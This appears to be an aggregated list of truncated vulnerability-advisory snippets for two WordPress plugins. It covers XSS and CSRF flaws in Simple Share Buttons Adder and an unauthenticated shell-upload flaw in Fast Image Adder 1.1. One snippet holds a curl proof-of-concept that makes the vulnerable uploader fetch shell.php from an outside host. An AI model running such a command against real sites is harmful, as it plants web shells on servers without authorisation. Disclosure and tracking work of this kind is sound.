WordPress simple-share-buttons-adder plugin cross-site scripting vulnerability

WordPress is a blogging platform developed by the WordPress Foundation using the PHP language. The platform supports setting up personal blog sites on PHP and MySQL servers. simple-share-buttons-adder plugin is used in one of the share buttons to add a plugin. A cross-site scripting vulnerability...

CVE-2015-9303

The simple-share-buttons-adder plugin before 6.0.0 for WordPress has XSS...

CVE-2015-9303

CVE-2015-9303 affects the WordPress plugin Simple Share Buttons Adder, specifically versions prior to 6.0.0. Multiple connected sources describe a cross-site scripting (XSS) vulnerability in this plugin, with evidence of a reflected XSS class in public disclosures. The root cause is insufficient ...

CVE-2015-9303: Improper Neutralization of Input During Web Page Generation

The simple-share-buttons-adder plugin before 6.0.0 for WordPress has XSS...

Wordpress fast-image-adder plugin remote file upload vulnerability

WordPress is the WordPress Software Foundation's set of blogging platform developed using the PHP language. fast-image-adder is one of the image fast-adder plugin. A remote file upload vulnerability exists in the fast-image-adder-uploader.php file in Wordpress fast-image-adder plugin v1.1 and...

CVE-2015-1000001

Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin...

Design/Logic Flaw

Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin...

CVE-2015-1000001

Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin...

CVE-2015-1000001

The CVE-2015-1000001 entry maps to WordPress plugin fast-image-adder (v1.1 and earlier). A Remote File Upload vulnerability exists in the uploader script (fast-image-adder-uploader.php), allowing an unauthenticated attacker to upload arbitrary files to the server (potentially leading to web shell...

CVE-2015-1000001: Unrestricted Upload of File with Dangerous Type

Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin...

WordPress Fast Image Adder 1.1 Shell Upload Vulnerability

WordPress Fast Image Adder plugin version 1.1 suffers from a remote shell upload vulnerability. Title: Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin Author: Larry W. Cashdollar, @larry0 Date: 2015-07-10 Download Site: https://wordpress.org/plugins/fast-image-adder...

WordPress Fast Image Adder 1.1 Shell Upload

Title: Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin Author: Larry W. Cashdollar, @larry0 Date: 2015-07-10 Download Site: https://wordpress.org/plugins/fast-image-adder Vendor: https://profiles.wordpress.org/robbyslaughter/ Vendor Notified: 2015-07-10 Vendor Contact:...

Fast Image Adder <= 1.1 - Unauthenticated Remote File Upload

The fast-image-adder WordPress plugin was affected by an Unauthenticated Remote File Upload security vulnerability. $ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url&url=http://sitewithshellstodl/shell.php Shell location is reported back t...

WordPress Fast Image Adder Plugin <= 1.1 - Remote File Upload

This plugin is prone to a remote file upload vulnerability, because the fast-image-adder-uploader.php file doesn't check if a user is authorized to upload files. It creates a random file name, but reports the name back to the user. Solution Update the plugin...

WordPress Fast Image Adder Plugin <= 1.1 - Remote File Upload

This plugin is prone to a remote file upload vulnerability, because the fast-image-adder-uploader.php file doesn't check if a user is authorized to upload files. It creates a random file name, but reports the name back to the user. Solution Update the plugin...

Simple Share Buttons Adder <= 6.0.0 - Reflected Cross-Site Scripting (XSS)

A reflected XSS in "Simple Share Buttons Adder" before version 6.0.1 lead to a reflected cross-site scripting vulnerability on all pages where the "Simple Share Buttons Adder" was added usually all blog posts. Exploitation required that the browser did not encode the parameters sent to the server...

Simple Share Buttons Adder <= 6.0.0 - Reflected Cross-Site Scripting (XSS)

A reflected XSS in "Simple Share Buttons Adder" before version 6.0.1 lead to a reflected cross-site scripting vulnerability on all pages where the "Simple Share Buttons Adder" was added usually all blog posts. Exploitation required that the browser did not encode the parameters sent to the server...

CVE-2014-4717

Multiple cross-site request forgery CSRF vulnerabilities in the Simple Share Buttons Adder plugin before 4.5 for WordPress allow remote attackers to hijack the authentication of administrators for requests that conduct cross-site scripting XSS attacks via the 1 ssbasharetext parameter in a save...

Cross site request forgery (csrf)

Multiple cross-site request forgery CSRF vulnerabilities in the Simple Share Buttons Adder plugin before 4.5 for WordPress allow remote attackers to hijack the authentication of administrators for requests that conduct cross-site scripting XSS attacks via the 1 ssbasharetext parameter in a save...

CVE-2014-4717

Multiple cross-site request forgery CSRF vulnerabilities in the Simple Share Buttons Adder plugin before 4.5 for WordPress allow remote attackers to hijack the authentication of administrators for requests that conduct cross-site scripting XSS attacks via the 1 ssbasharetext parameter in a save...